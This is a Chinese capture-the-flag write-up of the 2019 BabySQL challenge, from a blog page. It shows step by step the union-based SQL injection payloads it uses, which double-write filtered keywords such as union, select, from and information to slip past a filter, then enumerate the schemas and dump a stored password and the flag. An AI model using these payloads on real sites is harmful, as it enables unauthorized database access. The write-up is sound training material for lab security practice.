[极客大挑战 2019]BabySQL 1

[极客大挑战 2019]BabySQL 1

打开实例,源代码审计,发现登录请求check.php页面路径,采用get方法

根据题目可知这是sql注入,尝试万能密码无果

sql 复制代码
?username=admin' or 1=1 --+&password=admin

尝试order by、堆叠注入和union联合注入,发现都无效,怀疑字段被过滤(这边基本确定or被过滤)

尝试双写绕过,成功绕过

sql 复制代码
?username=admin' ununionion seselectlect 1,2,3%23&password=1

确定回显点为2,3

sql 复制代码
?username=1' ununionion seselectlect 1,2,3%23&password=1

爆库,from和infomation被过滤,双写绕过,发现数据库geek和ctf

sql 复制代码
?username=1' ununionion seselectlect 1,2,group_concat(schema_name) frfromom infoorrmation_schema.schemata%23&password=1

爆表

双写绕过payload

sql 复制代码
?username=1' ununionion seselectlect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema="geek"%23&password=1

获得数据表b4bsql,geekuser,双写爆字段

sql 复制代码
?username=1' ununionion seselectlect 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_name='b4bsql'%23&password=1

查表数据,发现password也被过滤

sql 复制代码
?username=1' ununionion seselectlect 1,2,concat(id,username,password) frfromom b4bsql%23&password=1

双写绕过

sql 复制代码
?username=1' ununionion seselectlect 1,2,concat(passwoorrd) frfromom b4bsql%23&password=1

获得password: i_want_to_play_2077,提交发现不是正确的flag,转向ctf表

sql 复制代码
?username=1' ununionion seselectlect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema="ctf"%23&password=1

发现Flag表

爆字段,发现flag字段

sql 复制代码
?username=1' ununionion seselectlect 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_name='Flag'%23&password=1

查表,显示当前不在数据库ctf中

sql 复制代码
?username=1' ununionion seselectlect 1,2,concat(flag) frfromom Flag%23&password=1

小改一波,flag到手

sql 复制代码
?username=1' ununionion seselectlect 1,2,concat(flag) frfromom ctf.Flag%23&password=1

手**

sql 复制代码
?username=1' ununionion seselectlect 1,2,concat(flag) frfromom ctf.Flag%23&password=1
相关推荐
Elastic 中国社区官方博客1 分钟前
理解 Elasticsearch 中的分块策略
大数据·数据库·人工智能·elasticsearch·搜索引擎·ai·全文检索
PyHaVolask3 分钟前
从PHP入门到公网部署:Web开发与服务器运维实战指南
web安全·php开发·http协议·服务器部署
Czi.30 分钟前
DataGrip+postgresql+postgis
数据库·postgresql
1白天的黑夜143 分钟前
Linux(4)|入门的开始:Linux基本指令(4)
linux·运维·服务器·centos
GreatSQL社区1 小时前
GreatSQL 优化技巧:最值子查询与窗口函数相互转换
java·服务器·数据库
全栈工程师修炼指南1 小时前
DBA | MySQL 数据库基础数据操作学习实践笔记
数据库·笔记·学习·mysql·dba
王伯爵1 小时前
5G开户时切片配置参数详解
服务器·网络·5g
wanhengidc1 小时前
云手机:云计算的灵动化身
运维·服务器·人工智能·游戏·智能手机·云计算
励志不掉头发的内向程序员1 小时前
【Linux系列】让 Vim “跑”起来:实现一个会动的进度条
linux·运维·服务器·开发语言·学习
牛奶咖啡131 小时前
通过keepalived搭建MySQL双主模式的MySQL集群
数据库·mysql·mysql双主互备模式架构·mysql双主互备模式搭建·mysql主主互备模式·mysql双主互备实现高可用·keepalived高可用